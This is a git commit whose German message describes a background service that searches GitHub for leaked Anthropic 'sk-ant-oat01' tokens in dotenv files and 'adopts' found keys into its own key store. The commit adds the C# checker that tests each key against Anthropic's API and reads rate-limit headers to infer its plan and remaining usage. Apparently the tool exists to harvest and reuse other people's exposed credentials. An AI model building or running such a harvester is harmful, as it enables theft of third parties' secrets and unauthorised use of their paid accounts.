feat: GitHub Key Scanner mit automatischem Intervall und manueller UI

- KeyScannerService als BackgroundService (Timer + manueller Trigger)
- GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien
- AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint)
- ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung
- Scan-Endpoints: trigger, status, list, recheck, adopt, delete
- API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste
- GitHub-URL pro gefundenem Key (html_url aus Search API)
- Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar
- DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage)
- ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()

Services/AnthropicKeyChecker.cs

@@ -0,0 +1,115 @@
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Net.Http;
+using System.Net.Http.Headers;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+
+namespace Gott.Services
+{
+    public class KeyCheckResult
+    {
+        public string Status { get; set; }    // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
+        public string Message { get; set; }
+        public string Plan { get; set; }       // "Max", "Pro", "Pro/Max", "API Console", "Unknown"
+        public bool IsSubscription { get; set; }
+        public double? Usage7d { get; set; }
+        public double? Usage5h { get; set; }
+        public double? Overage { get; set; }
+        public string Status7d { get; set; }
+        public string Status5h { get; set; }
+        public string StatusOverage { get; set; }
+    }
+
+    public static class AnthropicKeyChecker
+    {
+        public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
+        {
+            try
+            {
+                var client = httpFactory.CreateClient();
+                client.Timeout = TimeSpan.FromSeconds(30);
+
+                var payload = JsonSerializer.Serialize(new
+                {
+                    model = "claude-sonnet-4-20250514",
+                    max_tokens = 1,
+                    messages = new[] { new { role = "user", content = "hi" } }
+                });
+
+                var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
+                request.Headers.Add("x-api-key", apiKey);
+                request.Headers.Add("anthropic-version", "2023-06-01");
+                request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
+
+                var resp = await client.SendAsync(request);
+                var statusCode = (int)resp.StatusCode;
+
+                if (statusCode == 401)
+                    return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
+                if (statusCode == 429)
+                    return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
+                if (statusCode == 403)
+                    return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
+                if (statusCode >= 400)
+                    return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
+
+                // Key gültig – Header auslesen
+                var headers = resp.Headers;
+                var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
+                var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
+                var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
+                var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status");
+                var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status");
+                var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status");
+                var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage");
+
+                var isSubscription = d7Util != null || d5hUtil != null;
+
+                // Plan-Erkennung
+                string plan;
+                if (!isSubscription)
+                    plan = "API Console";
+                else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0)
+                    plan = "Max";
+                else if (fallbackPct == null)
+                    plan = "Pro";
+                else
+                    plan = "Pro/Max";
+
+                var result = new KeyCheckResult
+                {
+                    Status = "ok",
+                    Plan = plan,
+                    IsSubscription = isSubscription,
+                    Status7d = d7Status,
+                    Status5h = d5hStatus,
+                    StatusOverage = overageStatus
+                };
+
+                if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7))
+                    result.Usage7d = Math.Round(d7 * 100, 1);
+                if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5))
+                    result.Usage5h = Math.Round(d5 * 100, 1);
+                if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal))
+                    result.Overage = Math.Round(ovVal * 100, 1);
+
+                return result;
+            }
+            catch (Exception ex)
+            {
+                return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" };
+            }
+        }
+
+        private static string GetHeader(HttpResponseHeaders headers, params string[] names)
+        {
+            foreach (var name in names)
+                if (headers.TryGetValues(name, out var values))
+                    return values.FirstOrDefault();
+            return null;
+        }
+    }
+}